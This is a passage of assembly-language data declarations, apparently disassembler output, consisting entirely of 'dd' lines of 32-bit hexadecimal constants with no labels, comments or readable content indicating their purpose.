		dd 14725DA7h, 1403DE11h, 0CC48184Ch, 32261DC4h,	0F20C435h
		dd 2AEE10DEh, 4084B820h, 6600ECD8h, 0F976E824h,	1F90EF6Eh
		dd 3B563CEh, 0D68C6FA6h, 98CC12B0h, 1008F55Ch, 0DC8209BFh
		dd 98E0D35Ah, 0B6E82819h, 0BBFAE8h, 0FB408707h,	0E0116000h
		dd 0BD2E044Dh, 87E579B0h, 0BE806184h, 4A86E84Bh, 3EA61912h
		dd 0BFE50C20h, 32F400D3h, 57A8C44Eh, 5500D668h,	0B3386A08h
		dd 445A4Ch, 0B6A2E9E3h,	0BEC4D8DFh, 2264FC4Ch, 3445585Eh
		dd 0E8A5CC00h, 9C99A062h, 3BF44050h, 0BE389D02h, 0C28370D6h
		dd 30A4E67Ch, 1F2837A6h, 0F531B48Eh, 79731951h,	189A30h
		dd 0AD41618Ch, 0BD591187h, 28F8F977h, 0C1C43BFCh, 0DCB28B32h
		dd 0EBB8D107h, 0C0187BDEh, 0D542584Bh, 0E5124E21h, 8C410CCBh
		dd 88481060h, 61C03958h, 0A6D143A0h, 6750046h, 8757902Dh
		dd 7601EECCh, 8BD445FEh, 418851E1h, 24259D43h, 0F9403AB8h
		dd 26B5E3E4h, 0C28144Ah, 0E05B5C1Fh, 409D0B2h, 0B5409E48h
		dd 0C5EEC099h, 4A0A3300h, 5F47243Ch, 1029E566h,	93302701h
		dd 7310B202h, 32887B18h, 57CB989h, 8CE519BDh, 0CB282CF0h
		dd 1200E8B2h, 0BE23278Bh, 50D00F40h, 88306897h,	8004241h
		dd 0D6DFFB22h, 1634F92h, 0E7AF8A71h, 714A5D98h,	0BDFC1C28h
		dd 41380330h, 3DC70256h
		dd 0B11A521Ah, 24426875h, 10555CC1h, 1CD2E506h,	0B3576393h
		dd 0C5C0EB10h, 58318756h, 75D4F10Ch, 0DBC06CD5h, 7A07722h
		dd 9E46BC6Ah, 0E5A110ECh, 0A61B95DDh, 0C4305C72h, 0C8031480h
		dd 0A08F00E2h, 1B84F44Bh, 5D0C5EBDh, 11F5E3A7h,	143950DEh
		dd 909958h, 0CAA42FFFh,	0BA0CE96Bh, 0B15F5154h,	433D2A76h
		dd 33D20060h, 38C36823h, 362CA6E1h, 594560F3h, 76CAD820h
		dd 0F1D10552h, 4C201A28h, 0FC564890h, 0BD7F2600h, 751F11D6h
		dd 2C08EC27h, 0CB74E779h, 1CBE4C99h, 79010222h,	407A2ACFh
		dd 7103A873h, 71FEC42h,	0C836BD11h, 0BD0858h, 311786ABh
		dd 48CAB394h, 84431DE0h, 4CD10A00h, 3ACC5686h, 68257700h
		dd 1E92CEB5h, 9D260F3Ch, 0C4A0E936h, 0E7F7315Dh, 5000E4F4h
		dd 0C9E43BAh, 77D3EC1Dh, 39DD0298h, 61A6AF8Fh, 3F3EEC98h
		dd 6C833D00h, 0D85C80CAh, 6FE03BE9h, 32EF0BF9h,	8091528Ah
		dd 4482119Fh, 0F46B7AC4h, 1D9805E4h, 0D25919BBh, 68212F7Ch
		dd 0A1E03191h, 87A400E8h, 77858A80h, 0BE0B86EEh, 91FEB9h
		dd 5F3C4578h, 8CC9413h,	1E44509Ch, 50E02922h, 0B311A8B2h
		dd 3F2E6457h, 787F40F0h, 0E1000BC6h, 850DCECBh,	1F4E71Ah
		dd 73A6FF86h, 70AEF502h, 0D60A194Ch, 0F0A0BD39h, 37A010E7h
		dd 48B52D4Ah, 58869485h, 0CB802138h, 0DF00FF26h, 0C2492BB2h
		dd 16D6214h, 0BE5F4488h, 23752E99h, 0F887684h, 0B19D62D7h
		dd 40E6B999h, 8AD7CA0h,	20B31900h, 4FEF6D43h, 8245006Eh
		dd 0BC7EEDA0h, 9890076Ch, 35377CF8h, 0B4204961h, 0D59DFFh
		dd 0ECAA7D3Fh, 0ADB2B3C1h, 50EAE00Eh, 99BA23E7h, 2B60FFC8h
		dd 5DCE2Eh, 1AA06532h, 1F64353Ch, 4E557605h, 5048D40Fh
		dd 361041BFh, 861981B9h, 1A2B5F32h, 0D1B65280h,	3DD1F16h
		dd 26B41303h, 0E021E0E7h, 948832C9h, 903696C0h,	0B994E488h
		dd 47B16F00h, 38CD2C45h, 3A908Eh, 2BFA6733h, 2DAE3D62h
		dd 0E97F702h, 0C0EDBAA1h, 0F67AA0ACh, 74470C57h, 0D650B003h
		dd 5E057209h, 7E54405Fh, 60425C37h, 0AE8A3902h,	3860CD31h
		dd 4311CEBCh, 0BD3476C5h, 4C8411h, 0DA802D14h, 380A2437h
		dd 80BD9957h, 591A4562h, 0D4253C70h, 2A4B0438h,	3C581C08h
		dd 0B927803Eh, 5EF3EB6Ah, 3F58377Ch, 314E05CDh,	70A4788Ah
		dd 0CF6486Ch, 40530519h, 0C01C6887h, 7CC3E928h,	85E2412Fh
		dd 3883DB58h, 508B76C2h, 79D80178h, 0BFA83C29h,	43903h
		dd 0BE67067Dh, 4B282F1h, 794940C8h, 2FD4F425h, 7033008Ch
		dd 61780D24h, 0E900796Dh, 7B5E18DCh, 1C54D2h, 0A45D20FAh
		dd 368A2843h, 9F00A576h, 0CC7537AAh, 0F6675CB5h, 3CE7264h
		dd 773E8ADDh, 81D89AD9h, 212CD60Ch, 0CA00C648h,	0DBA41134h
		dd 0DD850210h, 161ED10Bh, 0D59C5861h, 7678205Ch, 0C55AF1F4h
		dd 11803C10h, 581514E7h, 0D700CC0Dh, 7E90DA23h,	3700CAE1h
		dd 5C719FFFh, 380ADF93h, 4F000FDCh, 86F31947h, 0EA245EDBh
		dd 0A813E8D3h, 30B2E032h, 0AD1DF97Bh, 1905741Eh, 0E0C803CCh
		dd 8A800B4h, 16AE454Dh,	98006778h, 12969D74h, 42B6D84h
		dd 31263A21h, 0BD04F48Bh, 4DEA9516h, 7B58C405h,	7D2B3180h
		dd 0E93500DDh, 0DBD04A41h, 7C098053h, 6B06CD40h, 0F850A1B8h
		dd 0FE08A0D6h, 1CD5482h, 0EBB67C48h, 80D1BDF0h,	6ABEE660h
		dd 0F3D90C59h, 58863186h, 0DA01D903h, 73A0841Bh, 74F81934h
		dd 472F277Fh, 8761D410h, 262B0E00h, 0B5FB969Ch,	0ED7609A7h
		dd 0A007C98Ch, 0B833A003h, 78944ED6h, 903C4662h, 77D5A90h
		dd 755E116h, 2639004Fh,	0A9006EB5h, 44C4AB24h, 10AAD5A6h
		dd 15EB858h, 5AE3A0E4h,	0C473108Ah, 0D0095204h,	0DDD50F6Ah
		dd 0E4080024h, 92179F27h, 5668D035h, 0D48EBB2h,	81D80025h
		dd 0F5AA84A1h, 120EFA8Dh, 60471315h, 0A895E794h, 1CCE6000h
		dd 56EBBCB6h, 0FFA50204h, 0EF6E109Bh, 0EDE808E4h, 21ECAB14h
		dd 5B420208h, 85C54F8Ch, 0C003FE8h, 4626F7D6h, 52781850h
		dd 0F9F1B0A8h, 0BEBD7D06h, 9628D85Eh, 4EF0A4Ch,	0A543021Ch
		dd 6844BD95h, 9200CCB9h, 26943F0Bh, 139C0009h, 74B80520h
		dd 1503D6ABh, 83ADD19h,	5C80AD1Eh, 3E031C7Eh, 18839C25h
		dd 28A5EBB8h, 930C80E7h, 0CB09E3A1h, 8473C81Eh,	32443A24h
		dd 3C2CB280h, 0A59C27FDh, 84B4361Ch, 0E66000EBh, 550A9863h
		dd 0F52E8C68h, 0B6032056h, 0EAD78E0Bh, 0B7948613h, 7B200111h
		dd 6DD833A2h, 597C74BDh, 8E94211h, 0CF14B500h, 0DE057641h
		dd 7DD43D48h, 25AD4706h, 2D08E674h, 0F8A05887h,	3F9210B0h
		dd 710DBF00h, 4395E13Ch, 0BD1E0099h, 0EE5F312Ah, 2308408Bh
		dd 0B10D1A2Fh, 0FD20D360h, 0CE49803Ah, 47255A95h, 5EDA00A2h
		dd 0BACABDFEh, 0C91E64C2h, 962722AEh, 707C586Ch, 36EF0C03h
		dd 4B91419Ch, 28D3714Ah, 778B8188h, 11825952h, 38BD505Eh
		dd 19002CEEh, 0A27E2905h, 0C02768h, 76574017h, 0CFE75E52h
		dd 564D6209h, 0CE06804Eh, 3CA54ABEh, 342FE68Bh,	69B118A0h
		dd 0B300D8D6h, 0AC49BFD3h, 130F95E9h, 7F6A58h, 400CC60Ch
		dd 0CD2AD984h, 510BC060h, 988B3242h, 8B20E5A8h,	715F77B0h
		dd 1C22DB4Eh, 0C836255Ah, 6400B508h, 0C1469A7Dh, 0E890BFD4h
		dd 96141FD0h, 0AF24A4A5h, 92C84090h, 0B3403116h, 0A9083601h
		dd 3F3061D8h, 0E84202F1h, 436DDDE4h, 1D3F4840h,	64D12D80h
		dd 43D5501Bh, 2498DD0Fh, 40B83F81h, 917C2F08h, 86326E3Eh
		dd 13D08851h, 0E5A14438h, 6C814503h, 0E3997A1Fh, 7C191DC3h
		dd 0E552C01Eh, 155FE74Dh, 0A30BD717h, 936F6400h, 65E3281Fh
		dd 0E45869D9h, 0AA03F26Ch, 117677B7h, 0D609F0E2h, 52052992h
		dd 345E0194h, 2BA30ABEh, 83B98420h, 84934CC0h, 368BF800h
		dd 0BF3809D0h, 42C18201h, 3707FADBh, 199E40C2h,	44849534h
		dd 0D1015E26h, 38A595FDh, 72356042h, 5B32020Ch,	408F39C7h
		dd 318877C0h, 0F43E7F01h, 0D6D3F285h, 2F9AE30h,	0A3C3A122h
		dd 4061BE8Bh, 0C8DC39D5h, 0D0C932A0h, 3370B861h, 0E4B200B0h
		dd 2065864Eh, 25B40073h, 47991B60h, 0E848E17Fh,	214964F4h
		dd 28892085h, 0D2DC072Ah, 21016660h, 4DABA000h,	433ECE55h
		dd 49EF24Eh, 357D6233h,	994891DBh, 28202BA7h, 3405F4Eh
		dd 31553B9Ch, 0A9182C9Dh, 0DA16035h, 4293FEAh, 0A97D4F83h
		dd 0D0E622EFh, 0A2F59F18h, 4E972588h, 4AD82032h, 0DA067C17h
		dd 0B403BED1h, 803891C1h, 3A130407h, 0AA14E718h, 9848A11h
		dd 49B43ED8h, 0B8701DBCh, 242209D4h, 9C44AC0Fh,	2C33A65Bh
		dd 86190080h, 412EDBEEh, 0A0987609h, 0BEC49E02h, 0F25E4A33h
		dd 0D3A702ACh, 0DC361043h, 38A02882h, 28F523h, 45411D29h
		dd 957691Eh, 50825A00h,	9CA84CB6h, 4F74253Fh, 5300F046h
		dd 0CE204746h, 0C6E76Ch, 0FB2C869h, 65D3149Dh, 2748AE0Eh
		dd 31DEE0C5h, 72B82539h, 0A3450078h, 7740A186h,	0CE02E280h
		dd 29568407h, 7235h, 0D288DB6Dh, 664C65B2h, 3DB31D08h
		dd 0DA19016Bh, 39893123h, 58283904h, 82859DE4h,	34E0C40Ah
		dd 118BC2Fh, 0DEF7B8D1h, 0FEA6085Dh, 6DE12558h,	0CBC38C1h
		dd 6FEC05h, 0EFD4562Bh,	0AEE96867h, 5CDEC204h, 5AC0C116h
		dd 9361AA0h, 55610AB0h,	0CA9B082h, 1E5080F5h, 0EDC253Fh
		dd 0D8D2677Ah, 8227FA2h, 4A1E90C5h, 0D4905FD3h,	9F6C1Ah
		dd 0D1E54E03h, 2B98C5BCh, 871FDA00h, 1E764B80h,	0E7471h
		dd 0A05B275h, 0C4DBC8B7h
		dd 6B0967E8h, 5AE128B3h, 7C41024Ch, 4B6D8BBDh, 11F08861h
		dd 14698E32h, 0EF80BD00h, 0E8814733h, 87799305h, 48F0A1D9h
		dd 42691495h, 313083B9h, 77D6B796h, 1F0C5A00h, 57C72F4h
		dd 0C0C450DAh, 0FC598A34h, 5CC2B400h, 3C2617B1h, 5778822h
		dd 80553102h, 53A08C1Ch, 2BF03E00h, 0D67CBB67h,	0E84EEDCh
		dd 69014918h, 29DDEBA0h, 0D9300FD0h, 0BE86E139h, 59D31F4Bh
		dd 0C365347h, 0F5517CD4h, 780FE891h, 9C6E016Ah,	6F304A1Eh
		dd 0E62B0096h, 88313D81h, 84A86790h, 7D1938FBh,	9C182480h
		dd 31D2810h, 81801395h,	9C225F52h, 244C0400h, 0B5FFF2C0h
		dd 0B6FE7A00h, 2D32B7D6h, 8861133Ch, 0D0A40429h, 0CB8C2ECh
		dd 6BD20F21h, 18602A12h, 323A4058h, 0E43C5088h,	19E43F56h
		dd 2111B395h, 225CA890h, 6B461430h, 0C91090C6h,	90C84A26h
		dd 0EEAA0045h, 9AFB3097h, 38035E4Bh, 7901E858h,	4F8112A8h
		dd 0D8A80829h, 0A195368Ch, 0AA460078h, 0ADF6B077h, 6C00C627h
		dd 18C468CEh, 71743409h, 651C30FBh, 83566731h, 4E1D5427h
		dd 40489E80h, 108D2360h, 5B13B403h, 0B9CF05BBh,	80ED5A76h
		dd 0EE7F27D0h, 0A377002Fh, 1D94FFE6h, 5C033B05h, 0EAE16532h
		dd 0ECE7E059h, 46CBA7Dh, 9A5BF3B6h, 7E28C0A0h, 0BCA1CEDAh
		dd 5DF801FDh, 1298D111h, 0E4844386h, 40D8CC53h,	0A302F925h
		dd 88A0D390h, 0E1779h, 4CEC727h, 0AAF1638Dh, 0D7457126h
		dd 7D293930h, 49604434h, 4D5ADC0Bh, 0E8808261h,	0E28C46C9h
		dd 0BE4B03B7h, 8D2CECDEh, 0D8543391h, 0C690E2D1h, 0C660954Ch
		dd 161323Fh, 87158514h,	0FC532AB0h, 0F8011A26h,	457B73B3h
		dd 8A428318h, 8090D18Ch, 0E8D9ECAFh, 9A004943h,	920B6C52h
		dd 230DAABh, 0BF407821h, 6C5E0891h, 205E2064h, 6A40F4B4h
		dd 2424374h, 94DAE761h,	5C56F5E6h, 44FA4880h, 887D4Ch
		dd 0E8D63C0Bh, 0FEECF952h, 0E50A1B09h, 21C096CDh, 0E30E59EFh
		dd 10368B25h, 3E1E4284h, 5C3CC7A0h, 50967774h, 4C4D8h
		dd 77CE5198h, 0C9CB7F52h, 3C0130B0h, 2AB9A4B2h,	0B8914C97h
		dd 0CD8E003Ah, 1E89DF5Bh, 0BCE712D6h, 0FA64A0B0h, 0F8E92802h
		dd 209F36C5h, 84D5E2C1h, 8313F671h, 20B08BEDh, 340B9CEh
		dd 963554BFh, 0C3B13100h, 0FD403845h, 0E29300EEh, 3831050h
		dd 0BD3D5A0Ch, 0FCB0AAD1h, 1A3F1D13h, 8920CE2h,	3F939508h
		dd 0B815F4D0h, 0E50D00EEh, 4F6E4C9Eh, 5E00DE07h, 0CC8EC2A2h
		dd 24028140h, 2F143134h, 0CDF5010h, 0C6EF9B01h,	3203F149h
		dd 39476510h, 24B3CE1Dh, 0C6D74D80h, 389DB55h, 9F2B728Ah
		dd 0E3EF9CA3h, 0E8F879A8h, 7D007611h, 0CC151D6Eh, 0B492029h
		dd 7989E318h, 0FF0BC409h, 0C1102400h, 0A509E880h, 711C8BCDh
		dd 2AE6074Ch, 3680E9BCh, 41A36504h, 50A14D01h, 54DBA4A2h
		dd 3FA805D0h, 698E615Ah, 0F27B8Bh, 7534CA69h, 38BAD547h
		dd 0F056209h, 2E9C90DBh, 0CC7C171Dh, 91C40EB6h,	2620216h
		dd 88839DBCh, 70972F2Eh, 7A95F8EBh, 0E0D59426h,	0C6472701h
		dd 0A1E0D91Fh, 517F398Bh, 0B4885B30h, 19C4D85Ah, 0B0E9BA99h
		dd 6A00A853h, 1907466Fh, 6D0E861Eh, 65C5DA5Fh, 0F4CCCB30h
		dd 0DE5C00D0h, 0E286B04Fh, 77000D83h, 0CCEF59EDh, 0A13AA095h
		dd 0E313522Ch, 73FD0EB0h, 44CC2F00h, 6AB5178Bh,	0BA9511E1h
		dd 28804138h, 0D4DCA05Ch, 0D7CC03FAh, 0AA83C804h, 54428990h
		dd 0E43A9509h, 10E0D1C4h, 4EE0DD1Ah, 86D09003h,	0F00023CDh
		dd 6B28E7FFh, 0E85B11A3h, 89680296h, 0D30F8284h, 0FA50407Eh
		dd 375900E0h, 0EE8398ADh, 6200BB24h, 58BF4111h,	26C7727Ch
		dd 1118C085h, 0FD9D0051h, 45BC8E09h, 6E0F0FCEh,	0B5235278h
		dd 58000ACCh, 0BDA8941Fh, 1753DBD4h, 4F8EECh, 7DA48580h
		dd 0B2C00FD1h, 94326063h, 92E49951h, 822CB23Ah,	0A1405258h
		dd 67354C40h, 3FC92E4h,	0EC24DE46h, 56A9E957h, 79ADC87Bh
		dd 2B9030DCh, 0B43EBD12h, 8F161658h, 520018A7h,	7E4EF705h
		dd 0ECE106BDh, 2889C434h, 6BE22818h, 9C4131h, 5F31140Dh
		dd 89BC844Ah, 0E0C5212h, 0AB00C4E3h, 3EAA4FC1h,	0D008E01h
		dd 0F42615D6h, 7CF24EB9h, 0B32E0BD0h, 0FC095758h, 0E3086059h
		dd 0C4B46727h, 723F09A1h, 791401A4h, 0A99B71C7h, 0C5D9D4F7h
		dd 97F69100h, 0EF81053Fh, 0C0B34A8Ch, 9F00A9Ch,	3304A090h
		dd 61128621h, 982218BCh, 0FD03F37Ch, 0F9C2D5FEh, 1E60A725h
		dd 2DD80D4Eh, 544ADD1Ch, 0F0DED499h, 0A100874Ah, 0E295ADEAh
		dd 3865BD44h, 24CC71EBh, 1058E502h, 0CC6316F3h,	559088B4h
		dd 0D8610B00h, 3C7C1174h, 0E673E486h, 0EB521D65h, 0A435138Ch
		dd 48016C98h, 0C6F1E90Eh, 77C0BC57h, 0BE810A37h, 80909C21h
		dd 0F91A4A82h, 48B8B27Dh, 670244h, 0AA27A674h, 1A73D068h
		dd 0A870F0FCh, 107214B2h, 88228429h, 0C31CBD82h, 58597Dh
		dd 37A81B44h, 843B5878h, 11E3896Ch, 0F0802BBh, 0B38898D5h
		dd 0BEAD2481h, 60102F00h, 6B00E97Eh, 0E7C5A218h, 0BCBE46h
		dd 22B86549h, 5AD7A02Fh, 0FC6A1724h, 0C59E6360h, 0DB840098h
		dd 24FFB491h, 7825E469h, 2CCCE419h, 3A9A48E3h, 0D3072902h
		dd 0A760AA31h, 3400E745h, 0F5A04187h, 5C67DE88h, 3172BBC5h
		dd 5E118F52h, 0D3B07057h, 9E492E3Fh, 7212511Fh,	888A7838h
		dd 0ED061791h, 0CAD5795Eh, 0A5100F0h, 0D2160D64h, 7748E3F7h
		dd 81BC06DCh, 3B1861A5h, 0F500594Ch, 8384355Ah,	0E3171FECh
		dd 6800C614h, 0FA53D281h, 0EE572CB2h, 0F78B006Dh, 3C1D4F9Eh
		dd 50AD2607h, 10B0F856h, 58997863h, 720C5447h, 0A408A5Bh
		dd 0CE59B20h, 54BBB31Bh, 0E800A318h, 441658E1h,	2851BCC3h
		dd 0CCA278h, 0C28B1FD2h, 50E9607Ch, 0AB602FEAh,	0B5F2B30h
		dd 0F1610B4Eh, 688CDB54h, 0EB8130E8h, 0C9E910F2h, 43117C44h
		dd 0A83C8C62h, 89C53064h, 0B020F4E9h, 23766580h, 2FE47469h
		dd 0BDC0F8E8h, 0B3F798DDh, 0FA0070E0h, 8826C203h, 7543C4h
		dd 49CC59A8h, 0A561F409h, 0E6BD9B0Eh, 50DE40CEh, 26F922Dh
		dd 28B406Eh, 46091F4h, 1509B466h, 50C0EFD4h, 98213D4Ch
		dd 8376D687h, 0A530C41Dh, 77B16020h, 0D20F9090h, 6127870Fh
		dd 0A3782260h, 3051A070h, 5D208D3Dh, 0CC140AB2h, 0E520EEA4h
		dd 8B20D110h, 401E41h, 0C424B6E8h, 743746B8h, 95700701h
		dd 60A12E04h, 2E780130h, 14CDEDh, 0F40F7B6h, 24A19CD6h
		dd 0E047103Bh, 3020F2Eh, 0BFA0D6C7h, 56AACE4h, 8604189Dh
		dd 0B67E01F4h, 59DECAEBh, 2A346187h, 3674828h, 7F5B9A52h
		dd 75B098B5h, 6008215h,	0D911C1CAh, 4D381A14h, 0BE1208E6h
		dd 0D3100367h, 76C1BF2Dh, 28844274h, 150150F9h,	7CE0101Ah
		dd 3E9D9434h, 17185C63h, 0B6D018AFh, 74817C83h,	9C28B0DFh
		dd 71018008h, 60B8C81Bh, 0A062781Dh, 818799Dh, 0F94421h
		dd 0DD406514h, 837EF30Bh, 396FEA12h, 0F2E70400h, 6C563E3h
		dd 980A1F64h, 0BC0B1807h, 7A35FA21h, 4F460484h,	91E3A24Bh
		dd 9865E738h, 0A4218E08h, 574B0377h, 0C1E94F70h, 7B7D8BF8h
		dd 953F04B0h, 2C0B28D2h, 83EA1F0Ch, 1D1030h, 2049E3E0h
		dd 0FA6F9964h, 0B3876703h, 0C041458Eh, 0C153DAh, 97ECB063h
		dd 0E33B9385h, 0B842022Eh, 6765CC00h, 1538310h,	0DF3FC658h
		dd 0FB75A7BBh, 120A40CFh, 6F006CF7h, 0E82EF33h,	7C2C9299h
		dd 0A37E00E7h, 0E560B46Dh, 5F00C6CCh, 82EC36Bh,	391FFFDDh
		dd 0CF00AF70h, 0B22BD544h
		dd 0A900FC7Bh, 993A3937h, 795A3DCh, 36D0D88h, 0A570A043h
		dd 0EB0077B2h, 83B03772h, 133834h, 0DE4DB44Eh, 50EFA6B3h
		dd 89FC58h, 8EF0BF76h, 1FE4ECA9h, 40B0CF9Ah, 361B5133h
		dd 0D100DE9Fh, 6E604C6Dh, 0C0DABED4h, 30239620h, 76004257h
		dd 0EE9855FBh, 343788h,	0C9EA034Ch, 17656A24h, 0FCC79D1Dh
		dd 6E2F8C00h, 601BCF96h, 41B00886h, 9A005B40h, 8951248h
		dd 3037A405h, 9E20908Ch, 2607547Fh, 68815D8Dh, 0D1E29970h
		dd 34AE0F31h, 0BFE60D5Ah, 50E291D7h, 21D0FF00h,	4C85D95Dh
		dd 7C2603F0h, 0AC2B9A13h, 156C02C7h, 100A78Fh, 46B7F04Fh
		dd 671438h, 88A6036Bh, 2A901F94h, 0FC8480E4h, 17EA00FBh
		dd 8A0FD055h, 4D00B1DBh, 3F5A2D6Eh, 0FE398CFh, 0CC1D5FBEh
		dd 7B6BA661h, 294880C0h, 4AFE633h, 9DA50C2Ah, 0CFA8BE52h
		dd 8313DD02h, 80FAACF3h, 10B7EF8Ch, 0ED3D00F1h,	13FDE97h
		dd 3106CE8Dh, 0ACEB4307h, 0A4E10050h, 8AD8CAC1h, 13015675h
		dd 5C3FD7E3h, 1880C60Bh, 0BC457A41h, 4300D4CFh,	4E93DBD5h
		dd 0C2ABB9h, 5E5C22CAh,	95DCCC3Ch, 7E47348h, 0ECDBA0B1h
		dd 3183A86h, 5BF6591Dh,	0BE1D998h, 65D0E049h, 4700A178h
		dd 0E13041A8h, 1555DAh,	4DC2AADBh, 3D40935Ch, 0D1D5E200h
		dd 0B1781456h, 185BF03Fh, 80C84E08h, 59302C4Bh,	385D18AAh
		dd 40E0609Ch, 1CFFEFCAh, 7D60E97Fh, 915D4568h, 0DCD300ADh
		dd 0ED47E1C3h, 0A0C2256Dh, 0FDD8F057h, 4098BC0Eh, 0B1305D98h
		dd 6B8E5899h, 851A01DEh, 9D2DCAC0h, 47188096h, 0C358C74Ah
		dd 8CF1ED4h, 0B8110A40h, 0EB4B0094h, 0CBF28D5Bh, 0E0F95C39h
		dd 75E91F58h, 8848A079h, 0DDB02270h, 2F40157Ch,	5C931841h
		dd 135FC8C9h, 0B5E8CE62h, 752136A6h, 1F6ACF79h,	0D23200C0h
		dd 5D41D9AEh, 682D9E31h, 0B8501EE9h, 5103F819h,	58A1F858h
		dd 0E918D604h, 7210DF64h, 90C360E8h, 224760E1h,	6823DB00h
		dd 0E9DDB4CDh, 0D072032Ah, 0C11579C2h, 44CC2910h, 0CA03F400h
		dd 9BD4092Ah, 9503617Bh, 109DBE5Eh, 0EDD6902Ch,	824B3FE4h
		dd 6C406000h, 0A404D8E0h, 0B6B02E00h, 78A864FCh, 0DDCE00B7h
		dd 0DB4E3B6Dh, 221E83C5h, 15DD97A4h, 1B6B8440h,	38CFF42Eh
		dd 0A80E339Ch, 0F66650h, 7A47DCB0h, 80003E28h, 0A11ABAC8h
		dd 58EEA226h, 0C6040593h, 0C166ED31h, 0F0924877h, 900EAF91h
		dd 0A082DD67h, 62B45019h, 0DE710095h, 0EB7AAD1Dh, 0CC030F4Ah
		dd 76D74618h, 0DC29E85Ah, 73B00396h, 47EE1A8Fh,	0F5CF4001h
		dd 0C40B6B3Dh, 6DFBAC40h, 349B0767h, 506CB717h,	0EB3F8060h
		dd 2389D400h, 0B32FBD20h, 22740030h, 44C2C84Ah,	7004872h
		dd 0FDB4676Fh, 5ABFD9h,	1F0B58B2h, 460802Ah, 420096F0h
		dd 71B8125Dh, 32476Dh, 61C2F45Bh, 5EA34D1Dh, 6544ED0Eh
		dd 0A897602Fh, 0A7B47Bh, 0C0694718h, 0CC1BCDD4h, 67F93D00h
		dd 7FC51EA2h, 0A000B0A7h, 0F1C304h, 0B4E325BDh,	7B5450F8h
		dd 2136CCA0h, 0E50CC800h, 664512F2h, 376C0057h,	0EBA6203Ch
		dd 0FC0159FEh, 0B4904C87h, 0BEE805B9h, 6A49006Eh, 5E439CA8h
		dd 801A640h, 1219E98h, 3AF8CC26h, 0BC7511h, 0EEBBF20Eh
		dd 1E6C3EADh, 4F029AF0h, 7993C05Ch, 788C6038h, 5886FAAEh
		dd 0B9000ADAh, 5C1EAA9h, 1D1D2D56h, 0D180C30Ah,	0C8B6769h
		dd 0D2830ECAh, 87C12ECCh, 0E06A3C88h, 954D10F7h, 74530EB0h
		dd 3764C046h, 0A31D03h,	0FE5BF43Fh, 82AF5984h, 0E7314301h
		dd 0A5ACC8E9h, 6A2030h,	3B38816Bh, 0F473D81Ah, 75EDDC00h
		dd 0F506087Dh, 1C5C90C1h, 8053CF3Eh, 0E729DD35h, 0E503DAC3h
		dd 11781D82h, 48C0922Fh, 7FBA770h, 995D6C61h, 1201A9D6h
		dd 0DC245AC4h, 0D8016306h, 293E0803h, 0DC20D931h, 16C900CBh
		dd 1A6A8723h, 0DF00F72Fh, 0C30165F3h, 7D1F4607h, 0BC69000Bh
		dd 0E61EEC80h, 0A600677Eh, 591C4F9Bh, 31423Ah, 0C4472E74h
		dd 0EAA55885h, 0B793F80Eh, 8B98E084h, 7590D808h, 49CD1D26h
		dd 0F0C2890Ch, 1C25DF09h, 29E40E81h, 0A68B3400h, 1B24B97Eh
		dd 0E0068F7h, 0F6EFA4E6h, 76177E27h, 0C4FB4872h, 0AF2E5900h
		dd 42D46D15h, 96E00812h, 0C70DC500h, 0CCA83Eh, 87656F72h
		dd 0E4D31320h, 9586B01h, 22D75ADDh, 0C240F8h, 49AFD7Fh
		dd 0E4C7AB27h, 8C6BF430h, 1D8D8Ch, 0E6BDE7E2h, 5DFB0B32h
		dd 1A53D600h, 6BF0C9CDh, 8BC1C02Fh, 5EA21C35h, 7C313000h
		dd 0F8667745h, 15F100E4h, 0E9F25162h, 291FED88h, 3007D41Fh
		dd 9EC05C49h, 0E63175BBh, 19FA1FDEh, 144A6FCh, 7CDB1707h
		dd 0BA14C8F4h, 830C403Fh, 0C39A42E8h, 800D92D3h, 0B7FED49Fh
		dd 0B0010078h, 0D11A48FBh, 0B500A8F4h, 0D473F98h, 0E2ADF267h
		dd 4829059Ah, 0DB025Dh,	7C708FCh, 9B145F65h, 0E806BDh
		dd 37D1C9ABh, 2556EDh, 0C1042161h, 3C8C6FAh, 3D7B4C00h
		dd 73B69A38h, 0A9D23A93h, 7617CA80h, 3197BE32h,	88902001h
		dd 1CCEC05Ah, 0FC6EB5E4h, 8D811D5Eh, 40F4D215h,	0C20B4CCCh
		dd 7F280D53h, 7203F4A0h, 193EA39Bh, 4D05E1D1h, 29E1E4h
		dd 8223B246h, 42EA8FA5h, 0DF0285B8h, 536D97CEh,	74986069h
		dd 0A4EE0C67h, 0AC1015CAh, 0F41CD425h, 2D840EC1h, 41E70F36h
		dd 3A345A60h, 0D23B13A9h, 3FE1ACDCh, 0C6ABEE00h, 521DCC77h
		dd 620EF8EAh, 0A580D9F5h, 0D8861F97h, 20479CA1h, 4F390EC4h
		dd 4A380066h, 0E8B28392h, 2B5A07A4h, 908D86F3h,	0E33A08BFh
		dd 92E5BC0Eh, 0C8801C5Eh, 8BDD18F0h, 454300E4h,	9EBB558Eh
		dd 54003224h, 0C67F753Bh, 2E1E95h, 52307870h, 1B315BA9h
		dd 0DDCB3703h, 0D20C02C1h, 0CAB4C83Ch, 4CBC0B6Eh, 0F8810634h
		dd 30793167h, 18B06BFEh, 2A0097F2h, 0E6CE98D1h,	72FDD3C0h
		dd 322F00B3h, 600C5BDFh, 5C004B6Fh, 1F7B3C70h, 16598C89h
		dd 5DDF1945h, 0C5E9C0ECh, 47B6CC63h, 1870DADEh,	192FA743h
		dd 1168E380h, 0EA92E0FFh, 6C0F3B00h, 94F841D3h,	3C05F051h
		dd 28000DF3h, 0F1271A18h, 0D71C5992h, 5A869B2Eh, 16876D6h
		dd 9F8D6E0Ah, 0BD478F11h, 0CA1C9250h, 0B36AB440h, 0F6C2ABC0h
		dd 787F17C7h, 0F14042D2h, 66C040E1h, 0B6186FDAh, 4B385E46h
		dd 647E01CFh, 0A58FC4Dh, 71319FCEh, 5D6070E8h, 0E5A17468h
		dd 0AAF31E54h, 630C015h, 0D9E2079Fh, 0F800CBF0h, 0A4E08E0Eh
		dd 573428h, 13D06A79h, 0AC618999h, 0F43B6B00h, 381BAF4Fh
		dd 0E6C40062h, 0C07AE2C1h, 0A4006750h, 0C72B59D3h, 5B9D8Ah
		dd 1A739295h, 8172BEDDh, 427DC1EFh, 0DE01DC2h, 0CD004CD0h
		dd 5B3EA59Fh, 3FC65604h, 1B3F324Ah, 0B47C00F6h,	0FC970199h
		dd 0C90ECE6Eh, 219DC1F2h, 0DF3A9E02h, 94CCC4h, 9C43668h
		dd 0A54D8C5h, 0A04C7160h, 1841CEh, 12458E5Bh, 0D4F7C581h
		dd 8CDB6C0Ah, 2A4094EBh, 3601F7Ah, 0D17C6F4Dh, 8309F71h
